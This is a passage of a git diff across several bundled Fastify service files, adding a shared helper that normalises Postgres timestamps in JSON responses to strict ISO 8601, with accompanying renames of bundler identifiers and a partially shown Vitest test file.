external_exports.string().regex(PG_TIMESTAMP), id: uuidSchema }); +var PG_TIMESTAMP2 = /^\d{4}-\d{2}-\d{2}[ T]\d{2}:\d{2}:\d{2}(\.\d{1,6})?(Z|[+-]\d{2}(:?\d{2})?)$/; +var cursorSchema = external_exports.object({ createdAt: external_exports.string().regex(PG_TIMESTAMP2), id: uuidSchema }); function decodeRosterCursor(cursor) { const parsed = cursorSchema.safeParse(decodeCursor(cursor)); if (!parsed.success) throw new AppError("VALIDATION_ERROR", "Invalid cursor"); @@ -77406,7 +77462,7 @@ async function loadInsights(db2, organizationId, userIds) { if (!entry) continue; entry.applications_by_status[row.status] = row.count; entry.applications_total += row.count; - const activity = row.lastActivityAt === null ? null : toIsoTimestamp(row.lastActivityAt); + const activity = row.lastActivityAt === null ? null : toIsoTimestamp2(row.lastActivityAt); if (activity !== null && (entry.last_application_activity_at === null || activity > entry.last_application_activity_at)) { entry.last_application_activity_at = activity; } @@ -77425,7 +77481,7 @@ async function toRosterStudents(db2, organizationId, rows) { program: row.program, graduation_year: row.graduationYear, status: row.status, - created_at: toIsoTimestamp(row.createdAt), + created_at: toIsoTimestamp2(row.createdAt), sharing_enabled: sharingEnabled, insights: sharingEnabled ? insights.get(row.userId) ?? emptyInsights() : null }; @@ -78229,6 +78285,7 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("admin-service"); registerHttpMetrics(app2, metrics2); + registerIsoTimestamps(app2); app2.addHook("onSend", async (request, reply) => { if (request.url.startsWith("/v1/")) reply.header("cache-control", "no-store"); }); diff --git a/api/analytics/index.js b/api/analytics/index.js index 4938b4b..9dd3968 100644 --- a/api/analytics/index.js +++ b/api/analytics/index.js @@ -42776,7 +42776,7 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node2, opts, starHeight) { + function walk2(node2, opts, starHeight) { let i; let ok; let len; @@ -42789,14 +42789,14 @@ var require_safe_regex2 = __commonJS({ const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { - ok = walk({ stack: options[i] }, opts, starHeight); + ok = walk2({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { - ok = walk(stack[i], opts, starHeight); + ok = walk2(stack[i], opts, starHeight); if (!ok) return false; } return true; @@ -42809,7 +42809,7 @@ var require_safe_regex2 = __commonJS({ if (isRegExp(re2)) re2 = re2.source; else if (typeof re2 !== "string") re2 = String(re2); try { - return walk(parse4(re2), opts, 0); + return walk2(parse4(re2), opts, 0); } catch { return false; } @@ -85892,6 +85892,62 @@ function registerRateLimitedRoutes(app2, options, declareRoutes) { }); } +// packages/observability/src/timestamps.ts +var PG_TIMESTAMP = /^(\d{4}-\d{2}-\d{2})[ T](\d{2}:\d{2}:\d{2})(?:\.(\d{1,9}))?(Z|[+-]\d{2}(?::?\d{2})?)$/; +var TIMESTAMP_KEY = /_at$/; +function toIsoTimestamp(value) { + const match = PG_TIMESTAMP.exec(value); + if (!match) return void 0; + const [, date6, time4, fraction = "", zone = "Z"] = match; + const millis = fraction.slice(0, 3).padEnd(3, "0"); + let offset = zone; + if (zone !== "Z") { + const digits = zone.slice(1).replace(":", ""); + offset = `${zone[0]}${digits.slice(0, 2)}:${digits.slice(2, 4).padEnd(2, "0")}`; + } + const parsed = /* @__PURE__ */ new Date(`${date6}T${time4}.${millis}${offset}`); + return Number.isNaN(parsed.getTime()) ? void 0 : parsed.toISOString(); +} +function isPlainObject2(value) { + if (typeof value !== "object" || value === null) return false; + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} +function normalizeTimestamps(value) { + return walk(value); +} +function walk(value) { + if (Array.isArray(value)) { + let changed = false; + const next = value.map((item) => { + const converted = walk(item); + if (converted !== item) changed = true; + return converted; + }); + return changed ? next : value; + } + if (!isPlainObject2(value)) return value; + let copy; + for (const [key, child] of Object.entries(value)) { + let converted; + if (typeof child === "string" && TIMESTAMP_KEY.test(key)) { + converted = toIsoTimestamp(child) ?? child; + } else { + converted = walk(child); + } + if (converted !== child) { + copy ??= { ...value }; + copy[key] = converted; + } + } + return copy ?? value; +} +function registerIsoTimestamps(app2) { + app2.addHook("preSerialization", (_request, _reply, payload, done) => { + done(null, normalizeTimestamps(payload)); + }); +} + // services/analytics/src/http/routes/drain.ts var DEFAULT_BUDGET_MS = 2e4; var MAX_BUDGET_MS = 25e3; @@ -85995,6 +86051,7 @@ function buildApp(deps) { void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); const metrics2 = createMetricsRegistry("analytics-service"); registerHttpMetrics(app2, metrics2); + registerIsoTimestamps(app2); app2.setErrorHandler((error62, request, reply) => { if (error62 instanceof ZodError) { reply.status(400).send({ diff --git a/api/applications/index.js b/api/applications/index.js index 07289e2..9013688 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -42776,7 +42776,7 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node2, opts, starHeight) { + function walk2(node2, opts, starHeight) { let i; let ok; let len; @@ -42789,14 +42789,14 @@ var require_safe_regex2 = __commonJS({ const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { - ok = walk({ stack: options[i] }, opts, starHeight); + ok = walk2({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { - ok = walk(stack[i], opts, starHeight); + ok = walk2(stack[i], opts, starHeight); if (!ok) return false; } return true; @@ -42809,7 +42809,7 @@ var require_safe_regex2 = __commonJS({ if (isRegExp(re2)) re2 = re2.source; else if (typeof re2 !== "string") re2 = String(re2); try { - return walk(parse4(re2), opts, 0); + return walk2(parse4(re2), opts, 0); } catch { return false; } @@ -85911,6 +85911,62 @@ function registerRateLimitedRoutes(app2, options, declareRoutes) { }); } +// packages/observability/src/timestamps.ts +var PG_TIMESTAMP = /^(\d{4}-\d{2}-\d{2})[ T](\d{2}:\d{2}:\d{2})(?:\.(\d{1,9}))?(Z|[+-]\d{2}(?::?\d{2})?)$/; +var TIMESTAMP_KEY = /_at$/; +function toIsoTimestamp(value) { + const match = PG_TIMESTAMP.exec(value); + if (!match) return void 0; + const [, date6, time4, fraction = "", zone = "Z"] = match; + const millis = fraction.slice(0, 3).padEnd(3, "0"); + let offset = zone; + if (zone !== "Z") { + const digits = zone.slice(1).replace(":", ""); + offset = `${zone[0]}${digits.slice(0, 2)}:${digits.slice(2, 4).padEnd(2, "0")}`; + } + const parsed = /* @__PURE__ */ new Date(`${date6}T${time4}.${millis}${offset}`); + return Number.isNaN(parsed.getTime()) ? void 0 : parsed.toISOString(); +} +function isPlainObject2(value) { + if (typeof value !== "object" || value === null) return false; + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} +function normalizeTimestamps(value) { + return walk(value); +} +function walk(value) { + if (Array.isArray(value)) { + let changed = false; + const next = value.map((item) => { + const converted = walk(item); + if (converted !== item) changed = true; + return converted; + }); + return changed ? next : value; + } + if (!isPlainObject2(value)) return value; + let copy; + for (const [key, child] of Object.entries(value)) { + let converted; + if (typeof child === "string" && TIMESTAMP_KEY.test(key)) { + converted = toIsoTimestamp(child) ?? child; + } else { + converted = walk(child); + } + if (converted !== child) { + copy ??= { ...value }; + copy[key] = converted; + } + } + return copy ?? value; +} +function registerIsoTimestamps(app2) { + app2.addHook("preSerialization", (_request, _reply, payload, done) => { + done(null, normalizeTimestamps(payload)); + }); +} + // services/applications/src/lib/apply-url.ts function toSafeApplyUrl(raw) { if (!raw) return null; @@ -86296,6 +86352,7 @@ function buildApp(deps) { void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); const metrics2 = createMetricsRegistry("applications-service"); registerHttpMetrics(app2, metrics2); + registerIsoTimestamps(app2); app2.setErrorHandler((error62, request, reply) => { if (error62 instanceof ZodError) { reply.status(400).send({ diff --git a/api/learning/index.js b/api/learning/index.js index a627cac..0ff6409 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -42776,7 +42776,7 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node2, opts, starHeight) { + function walk2(node2, opts, starHeight) { let i; let ok; let len; @@ -42789,14 +42789,14 @@ var require_safe_regex2 = __commonJS({ const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { - ok = walk({ stack: options[i] }, opts, starHeight); + ok = walk2({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { - ok = walk(stack[i], opts, starHeight); + ok = walk2(stack[i], opts, starHeight); if (!ok) return false; } return true; @@ -42809,7 +42809,7 @@ var require_safe_regex2 = __commonJS({ if (isRegExp(re2)) re2 = re2.source; else if (typeof re2 !== "string") re2 = String(re2); try { - return walk(parse4(re2), opts, 0); + return walk2(parse4(re2), opts, 0); } catch { return false; } @@ -85968,6 +85968,62 @@ function registerRateLimitedRoutes(app2, options, declareRoutes) { }); } +// packages/observability/src/timestamps.ts +var PG_TIMESTAMP = /^(\d{4}-\d{2}-\d{2})[ T](\d{2}:\d{2}:\d{2})(?:\.(\d{1,9}))?(Z|[+-]\d{2}(?::?\d{2})?)$/; +var TIMESTAMP_KEY = /_at$/; +function toIsoTimestamp(value) { + const match = PG_TIMESTAMP.exec(value); + if (!match) return void 0; + const [, date6, time4, fraction = "", zone = "Z"] = match; + const millis = fraction.slice(0, 3).padEnd(3, "0"); + let offset = zone; + if (zone !== "Z") { + const digits = zone.slice(1).replace(":", ""); + offset = `${zone[0]}${digits.slice(0, 2)}:${digits.slice(2, 4).padEnd(2, "0")}`; + } + const parsed = /* @__PURE__ */ new Date(`${date6}T${time4}.${millis}${offset}`); + return Number.isNaN(parsed.getTime()) ? void 0 : parsed.toISOString(); +} +function isPlainObject2(value) { + if (typeof value !== "object" || value === null) return false; + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} +function normalizeTimestamps(value) { + return walk(value); +} +function walk(value) { + if (Array.isArray(value)) { + let changed = false; + const next = value.map((item) => { + const converted = walk(item); + if (converted !== item) changed = true; + return converted; + }); + return changed ? next : value; + } + if (!isPlainObject2(value)) return value; + let copy; + for (const [key, child] of Object.entries(value)) { + let converted; + if (typeof child === "string" && TIMESTAMP_KEY.test(key)) { + converted = toIsoTimestamp(child) ?? child; + } else { + converted = walk(child); + } + if (converted !== child) { + copy ??= { ...value }; + copy[key] = converted; + } + } + return copy ?? value; +} +function registerIsoTimestamps(app2) { + app2.addHook("preSerialization", (_request, _reply, payload, done) => { + done(null, normalizeTimestamps(payload)); + }); +} + // services/learning/src/http/routes/drain.ts var DEFAULT_BUDGET_MS = 2e4; var MAX_BUDGET_MS = 25e3; @@ -86146,6 +86202,7 @@ function buildApp(deps) { void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); const metrics2 = createMetricsRegistry("learning-service"); registerHttpMetrics(app2, metrics2); + registerIsoTimestamps(app2); app2.setErrorHandler((error62, request, reply) => { if (error62 instanceof ZodError) { reply.status(400).send({ diff --git a/api/matching/index.js b/api/matching/index.js index fc7d2b1..eb35d69 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -42776,7 +42776,7 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node2, opts, starHeight) { + function walk2(node2, opts, starHeight) { let i; let ok; let len; @@ -42789,14 +42789,14 @@ var require_safe_regex2 = __commonJS({ const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { - ok = walk({ stack: options[i] }, opts, starHeight); + ok = walk2({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { - ok = walk(stack[i], opts, starHeight); + ok = walk2(stack[i], opts, starHeight); if (!ok) return false; } return true; @@ -42809,7 +42809,7 @@ var require_safe_regex2 = __commonJS({ if (isRegExp(re2)) re2 = re2.source; else if (typeof re2 !== "string") re2 = String(re2); try { - return walk(parse4(re2), opts, 0); + return walk2(parse4(re2), opts, 0); } catch { return false; } @@ -85135,6 +85135,62 @@ function registerRateLimitedRoutes(app2, options, declareRoutes) { }); } +// packages/observability/src/timestamps.ts +var PG_TIMESTAMP = /^(\d{4}-\d{2}-\d{2})[ T](\d{2}:\d{2}:\d{2})(?:\.(\d{1,9}))?(Z|[+-]\d{2}(?::?\d{2})?)$/; +var TIMESTAMP_KEY = /_at$/; +function toIsoTimestamp(value) { + const match = PG_TIMESTAMP.exec(value); + if (!match) return void 0; + const [, date6, time4, fraction = "", zone = "Z"] = match; + const millis = fraction.slice(0, 3).padEnd(3, "0"); + let offset = zone; + if (zone !== "Z") { + const digits = zone.slice(1).replace(":", ""); + offset = `${zone[0]}${digits.slice(0, 2)}:${digits.slice(2, 4).padEnd(2, "0")}`; + } + const parsed = /* @__PURE__ */ new Date(`${date6}T${time4}.${millis}${offset}`); + return Number.isNaN(parsed.getTime()) ? void 0 : parsed.toISOString(); +} +function isPlainObject2(value) { + if (typeof value !== "object" || value === null) return false; + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} +function normalizeTimestamps(value) { + return walk(value); +} +function walk(value) { + if (Array.isArray(value)) { + let changed = false; + const next = value.map((item) => { + const converted = walk(item); + if (converted !== item) changed = true; + return converted; + }); + return changed ? next : value; + } + if (!isPlainObject2(value)) return value; + let copy; + for (const [key, child] of Object.entries(value)) { + let converted; + if (typeof child === "string" && TIMESTAMP_KEY.test(key)) { + converted = toIsoTimestamp(child) ?? child; + } else { + converted = walk(child); + } + if (converted !== child) { + copy ??= { ...value }; + copy[key] = converted; + } + } + return copy ?? value; +} +function registerIsoTimestamps(app2) { + app2.addHook("preSerialization", (_request, _reply, payload, done) => { + done(null, normalizeTimestamps(payload)); + }); +} + // services/matching/src/http/routes/drain.ts var DEFAULT_BUDGET_MS = 2e4; var MAX_BUDGET_MS = 25e3; @@ -85207,6 +85263,7 @@ function buildApp(deps) { void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); const metrics2 = createMetricsRegistry("matching-service"); registerHttpMetrics(app2, metrics2); + registerIsoTimestamps(app2); app2.setErrorHandler((error62, request, reply) => { if (error62 instanceof ZodError) { reply.status(400).send({ diff --git a/api/profile/index.js b/api/profile/index.js index ada9024..1f9d854 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -45810,7 +45810,7 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node2, opts, starHeight) { + function walk2(node2, opts, starHeight) { let i; let ok; let len; @@ -45823,14 +45823,14 @@ var require_safe_regex2 = __commonJS({ const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { - ok = walk({ stack: options[i] }, opts, starHeight); + ok = walk2({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { - ok = walk(stack[i], opts, starHeight); + ok = walk2(stack[i], opts, starHeight); if (!ok) return false; } return true; @@ -45843,7 +45843,7 @@ var require_safe_regex2 = __commonJS({ if (isRegExp(re2)) re2 = re2.source; else if (typeof re2 !== "string") re2 = String(re2); try { - return walk(parse4(re2), opts, 0); + return walk2(parse4(re2), opts, 0); } catch { return false; } @@ -80124,7 +80124,7 @@ var require_reader = __commonJS({ var require_Utility = __commonJS({ "node_modules/.pnpm/xmlbuilder@10.1.1/node_modules/xmlbuilder/lib/Utility.js"(exports2, module2) { (function() { - var assign, getValue, isArray, isEmpty2, isFunction2, isObject5, isPlainObject2, slice2 = [].slice, hasProp = {}.hasOwnProperty; + var assign, getValue, isArray, isEmpty2, isFunction2, isObject5, isPlainObject3, slice2 = [].slice, hasProp = {}.hasOwnProperty; assign = function() { var i, key, len, source, sources, target; target = arguments[0], sources = 2 <= arguments.length ? slice2.call(arguments, 1) : []; @@ -80169,7 +80169,7 @@ var require_Utility = __commonJS({ return true; } }; - isPlainObject2 = function(val) { + isPlainObject3 = function(val) { var ctor2, proto; return isObject5(val) && (proto = Object.getPrototypeOf(val)) && (ctor2 = proto.constructor) && typeof ctor2 === "function" && ctor2 instanceof ctor2 && Function.prototype.toString.call(ctor2) === Function.prototype.toString.call(Object); }; @@ -80185,7 +80185,7 @@ var require_Utility = __commonJS({ module2.exports.isObject = isObject5; module2.exports.isArray = isArray; module2.exports.isEmpty = isEmpty2; - module2.exports.isPlainObject = isPlainObject2; + module2.exports.isPlainObject = isPlainObject3; module2.exports.getValue = getValue; }).call(exports2); } @@ -81883,7 +81883,7 @@ var require_XMLStringWriter = __commonJS({ var require_XMLDocument = __commonJS({ "node_modules/.pnpm/xmlbuilder@10.1.1/node_modules/xmlbuilder/lib/XMLDocument.js"(exports2, module2) { (function() { - var XMLDocument, XMLNode, XMLStringWriter, XMLStringifier, isPlainObject2, extend2 = function(child, parent) { + var XMLDocument, XMLNode, XMLStringWriter, XMLStringifier, isPlainObject3, extend2 = function(child, parent) { for (var key in parent) { if (hasProp.call(parent, key)) child[key] = parent[key]; } @@ -81895,7 +81895,7 @@ var require_XMLDocument = __commonJS({ child.__super__ = parent.prototype; return child; }, hasProp = {}.hasOwnProperty; - isPlainObject2 = require_Utility().isPlainObject; + isPlainObject3 = require_Utility().isPlainObject; XMLNode = require_XMLNode(); XMLStringifier = require_XMLStringifier(); XMLStringWriter = require_XMLStringWriter(); @@ -81916,7 +81916,7 @@ var require_XMLDocument = __commonJS({ var writerOptions; if (!writer) { writer = this.options.writer; - } else if (isPlainObject2(writer)) { + } else if (isPlainObject3(writer)) { writerOptions = writer; writer = this.options.writer.set(writerOptions); } @@ -81935,8 +81935,8 @@ var require_XMLDocument = __commonJS({ var require_XMLDocumentCB = __commonJS({ "node_modules/.pnpm/xmlbuilder@10.1.1/node_modules/xmlbuilder/lib/XMLDocumentCB.js"(exports2, module2) { (function() { - var XMLAttribute, XMLCData, XMLComment, XMLDTDAttList, XMLDTDElement, XMLDTDEntity, XMLDTDNotation, XMLDeclaration, XMLDocType, XMLDocumentCB, XMLElement, XMLProcessingInstruction, XMLRaw, XMLStringWriter, XMLStringifier, XMLText, getValue, isFunction2, isObject5, isPlainObject2, ref, hasProp = {}.hasOwnProperty; - ref = require_Utility(), isObject5 = ref.isObject, isFunction2 = ref.isFunction, isPlainObject2 = ref.isPlainObject, getValue = ref.getValue; + var XMLAttribute, XMLCData, XMLComment, XMLDTDAttList, XMLDTDElement, XMLDTDEntity, XMLDTDNotation, XMLDeclaration, XMLDocType, XMLDocumentCB, XMLElement, XMLProcessingInstruction, XMLRaw, XMLStringWriter, XMLStringifier, XMLText, getValue, isFunction2, isObject5, isPlainObject3, ref, hasProp = {}.hasOwnProperty; + ref = require_Utility(), isObject5 = ref.isObject, isFunction2 = ref.isFunction, isPlainObject3 = ref.isPlainObject, getValue = ref.getValue; XMLElement = require_XMLElement(); XMLCData = require_XMLCData(); XMLComment = require_XMLComment(); @@ -81959,7 +81959,7 @@ var require_XMLDocumentCB = __commonJS({ options || (options = {}); if (!options.writer) { options.writer = new XMLStringWriter(options); - } else if (isPlainObject2(options.writer)) { + } else if (isPlainObject3(options.writer)) { writerOptions = options.writer; options.writer = new XMLStringWriter(writerOptions); } @@ -120182,6 +120182,62 @@ function registerRateLimitedRoutes(app2, options, declareRoutes) { }); } +// packages/observability/src/timestamps.ts +var PG_TIMESTAMP = /^(\d{4}-\d{2}-\d{2})[ T](\d{2}:\d{2}:\d{2})(?:\.(\d{1,9}))?(Z|[+-]\d{2}(?::?\d{2})?)$/; +var TIMESTAMP_KEY = /_at$/; +function toIsoTimestamp(value) { + const match = PG_TIMESTAMP.exec(value); + if (!match) return void 0; + const [, date6, time4, fraction = "", zone = "Z"] = match; + const millis = fraction.slice(0, 3).padEnd(3, "0"); + let offset = zone; + if (zone !== "Z") { + const digits = zone.slice(1).replace(":", ""); + offset = `${zone[0]}${digits.slice(0, 2)}:${digits.slice(2, 4).padEnd(2, "0")}`; + } + const parsed = /* @__PURE__ */ new Date(`${date6}T${time4}.${millis}${offset}`); + return Number.isNaN(parsed.getTime()) ? void 0 : parsed.toISOString(); +} +function isPlainObject2(value) { + if (typeof value !== "object" || value === null) return false; + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} +function normalizeTimestamps(value) { + return walk(value); +} +function walk(value) { + if (Array.isArray(value)) { + let changed = false; + const next = value.map((item) => { + const converted = walk(item); + if (converted !== item) changed = true; + return converted; + }); + return changed ? next : value; + } + if (!isPlainObject2(value)) return value; + let copy; + for (const [key, child] of Object.entries(value)) { + let converted; + if (typeof child === "string" && TIMESTAMP_KEY.test(key)) { + converted = toIsoTimestamp(child) ?? child; + } else { + converted = walk(child); + } + if (converted !== child) { + copy ??= { ...value }; + copy[key] = converted; + } + } + return copy ?? value; +} +function registerIsoTimestamps(app2) { + app2.addHook("preSerialization", (_request, _reply, payload, done) => { + done(null, normalizeTimestamps(payload)); + }); +} + // services/profile/src/repo/resumes.ts function toResume(row) { return { @@ -126356,7 +126412,7 @@ var XfaText = class _XfaText { items, styles: /* @__PURE__ */ Object.create(null) }; - function walk(node2) { + function walk2(node2) { if (!node2) { return; } @@ -126380,10 +126436,10 @@ var XfaText = class _XfaText { return; } for (const child of node2.children) { - walk(child); + walk2(child); } } - walk(xfa); + walk2(xfa); return output2; } static shouldBuildText(name) { @@ -153077,6 +153133,7 @@ function buildApp(deps) { }); const metrics2 = createMetricsRegistry("profile-service"); registerHttpMetrics(app2, metrics2); + registerIsoTimestamps(app2); app2.setErrorHandler((error62, request, reply) => { if (error62 instanceof ZodError) { reply.status(400).send({ diff --git a/api/referrals/index.js b/api/referrals/index.js index 7d48480..5577f59 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -42776,7 +42776,7 @@ var require_safe_regex2 = __commonJS({ "use strict"; var parse4 = require_dist4(); var { types: types2 } = require_dist4(); - function walk(node2, opts, starHeight) { + function walk2(node2, opts, starHeight) { let i; let ok; let len; @@ -42789,14 +42789,14 @@ var require_safe_regex2 = __commonJS({ const options = node2.options || node2.value?.options; if (options) { for (i = 0, len = options.length; i < len; i++) { - ok = walk({ stack: options[i] }, opts, starHeight); + ok = walk2({ stack: options[i] }, opts, starHeight); if (!ok) return false; } } const stack = node2.stack || node2.value?.stack; if (!stack) return true; for (i = 0, len = stack.length; i < len; i++) { - ok = walk(stack[i], opts, starHeight); + ok = walk2(stack[i], opts, starHeight); if (!ok) return false; } return true; @@ -42809,7 +42809,7 @@ var require_safe_regex2 = __commonJS({ if (isRegExp(re2)) re2 = re2.source; else if (typeof re2 !== "string") re2 = String(re2); try { - return walk(parse4(re2), opts, 0); + return walk2(parse4(re2), opts, 0); } catch { return false; } @@ -85986,6 +85986,62 @@ function registerRateLimitedRoutes(app2, options, declareRoutes) { }); } +// packages/observability/src/timestamps.ts +var PG_TIMESTAMP = /^(\d{4}-\d{2}-\d{2})[ T](\d{2}:\d{2}:\d{2})(?:\.(\d{1,9}))?(Z|[+-]\d{2}(?::?\d{2})?)$/; +var TIMESTAMP_KEY = /_at$/; +function toIsoTimestamp(value) { + const match = PG_TIMESTAMP.exec(value); + if (!match) return void 0; + const [, date6, time4, fraction = "", zone = "Z"] = match; + const millis = fraction.slice(0, 3).padEnd(3, "0"); + let offset = zone; + if (zone !== "Z") { + const digits = zone.slice(1).replace(":", ""); + offset = `${zone[0]}${digits.slice(0, 2)}:${digits.slice(2, 4).padEnd(2, "0")}`; + } + const parsed = /* @__PURE__ */ new Date(`${date6}T${time4}.${millis}${offset}`); + return Number.isNaN(parsed.getTime()) ? void 0 : parsed.toISOString(); +} +function isPlainObject2(value) { + if (typeof value !== "object" || value === null) return false; + const prototype = Object.getPrototypeOf(value); + return prototype === Object.prototype || prototype === null; +} +function normalizeTimestamps(value) { + return walk(value); +} +function walk(value) { + if (Array.isArray(value)) { + let changed = false; + const next = value.map((item) => { + const converted = walk(item); + if (converted !== item) changed = true; + return converted; + }); + return changed ? next : value; + } + if (!isPlainObject2(value)) return value; + let copy; + for (const [key, child] of Object.entries(value)) { + let converted; + if (typeof child === "string" && TIMESTAMP_KEY.test(key)) { + converted = toIsoTimestamp(child) ?? child; + } else { + converted = walk(child); + } + if (converted !== child) { + copy ??= { ...value }; + copy[key] = converted; + } + } + return copy ?? value; +} +function registerIsoTimestamps(app2) { + app2.addHook("preSerialization", (_request, _reply, payload, done) => { + done(null, normalizeTimestamps(payload)); + }); +} + // services/referrals/src/repo/contacts.ts function toContact(row) { return { @@ -86310,6 +86366,7 @@ function buildApp(deps) { void app2.register(import_cors.default, { origin: parseCorsOrigins(deps.env.CORS_ORIGINS) }); const metrics2 = createMetricsRegistry("referrals-service"); registerHttpMetrics(app2, metrics2); + registerIsoTimestamps(app2); app2.setErrorHandler((error62, request, reply) => { if (error62 instanceof ZodError) { reply.status(400).send({ diff --git a/packages/observability/src/index.ts b/packages/observability/src/index.ts index 180cbb2..ad00695 100644 --- a/packages/observability/src/index.ts +++ b/packages/observability/src/index.ts @@ -1,3 +1,4 @@ export * from './metrics.js'; export * from './fastify.js'; export * from './rate-limit.js'; +export * from './timestamps.js'; diff --git a/packages/observability/src/timestamps.ts b/packages/observability/src/timestamps.ts new file mode 100644 index 0000000..cbd2560 --- /dev/null +++ b/packages/observability/src/timestamps.ts @@ -0,0 +1,88 @@ +import type { FastifyInstance } from 'fastify'; + +/** + * Postgres renders `timestamptz` as `2026-10-27 12:59:21.123456+00`: a space + * instead of `T`, up to microseconds, and an hour-only offset. Chrome and + * Node happen to parse that, but Safari/iOS return `Invalid Date`, and it does + * not satisfy `isoTimestampSchema` either. Responses are therefore normalised + * to strict ISO 8601 UTC (`2026-10-27T12:59:21.123Z`) on the way out. + */ +const PG_TIMESTAMP = + /^(\d{4}-\d{2}-\d{2})[ T](\d{2}:\d{2}:\d{2})(?:\.(\d{1,9}))?(Z|[+-]\d{2}(?::?\d{2})?)$/; + +/** Only fields named like `created_at` / `last_event_at` are touched, never free text. */ +const TIMESTAMP_KEY = /_at$/; + +/** Returns strict ISO UTC for a Postgres/ISO-like timestamp string, or `undefined` if it is not one. */ +export function toIsoTimestamp(value: string): string | undefined { + const match = PG_TIMESTAMP.exec(value); + if (!match) return undefined; + const [, date, time, fraction = '', zone = 'Z'] = match; + // ECMAScript's date-time format has exactly millisecond precision. + const millis = fraction.slice(0, 3).padEnd(3, '0'); + let offset = zone; + if (zone !== 'Z') { + const digits = zone.slice(1).replace(':', ''); + offset = `${zone[0]}${digits.slice(0, 2)}:${digits.slice(2, 4).padEnd(2, '0')}`; + } + const parsed = new Date(`${date}T${time}.${millis}${offset}`); + return Number.isNaN(parsed.getTime()) ? undefined : parsed.toISOString(); +} + +function isPlainObject(value: unknown): value is Record { + if (typeof value !== 'object' || value === null) return false; + const prototype = Object.getPrototypeOf(value) as unknown; + return prototype === Object.prototype || prototype === null; +} + +/** + * Deep-copies `value` converting timestamp strings under `*_at` keys to ISO. + * Anything else (including `Date`s, which already serialise to ISO) is returned + * untouched, and unchanged subtrees are returned by reference. + */ +export function normalizeTimestamps(value: T): T { + return walk(value) as T; +} + +function walk(value: unknown): unknown { + if (Array.isArray(value)) { + let changed = false; + const next = value.map((item) => { + const converted = walk(item); + if (converted !== item) changed = true; + return converted; + }); + return changed ? next : value; + } + if (!isPlainObject(value)) return value; + + let copy: Record | undefined; + for (const [key, child] of Object.entries(value)) { + let converted: unknown; + if (typeof child === 'string' && TIMESTAMP_KEY.test(key)) { + converted = toIsoTimestamp(child) ?? child; + } else { + converted = walk(child); + } + if (converted !== child) { + copy ??= { ...value }; + copy[key] = converted; + } + } + return copy ?? value; +} + +/** + * Normalises `*_at` timestamps in every JSON response body of `app`. + * + * Callback-style on purpose, not `async`: most routes here finish with + * `reply.send(...)` and no `return reply`. An async hook in the send pipeline + * adds a microtask tick, so Fastify's promise wrapper sees "not sent yet" and + * sends a second time ("Reply was already sent"). A hook that calls `done` + * synchronously keeps the timing identical to having no hook at all. + */ +export function registerIsoTimestamps(app: FastifyInstance): void { + app.addHook('preSerialization', (_request, _reply, payload, done) => { + done(null, normalizeTimestamps(payload)); + }); +} diff --git a/packages/observability/test/timestamps.test.ts b/packages/observability/test/timestamps.test.ts new file mode 100644 index 0000000..f5972e4 --- /dev/null +++ b/packages/observability/test/timestamps.test.ts @@ -0,0 +1,93 @@ +import Fastify from 'fastify'; +import { describe, expect, it } from 'vitest'; +import { normalizeTimestamps, registerIsoTimestamps, toIsoTimestamp } from '../src/timestamps.js'; + +describe('toIsoTimestamp', () => { + it.each([ + ['2026-10-27 12:59:21.123+00', '2026-10-27T12:59:21.123Z'], + ['2026-10-27 12:59:21+00', '2026-10-27T12:59:21.000Z'], + ['2026-10-27 12:59:21.123456+00', '2026-10-27T12:59:21.123Z'], + ['2026-10-27 12:59:21.5+00:00', '2026-10-27T12:59:21.500Z'], + ['2026-10-27 18:29:21.123+05:30', '2026-10-27T12:59:21.123Z'], + ['2026-10-27 12:59:21.123-0800', '2026-10-27T20:59:21.123Z'], + ['2026-10-27T12:59:21.123Z', '2026-10-27T12:59:21.123Z'], + ])('converts %s', (input, expected) => { + const iso = toIsoTimestamp(input); + expect(iso).toBe(expected); + 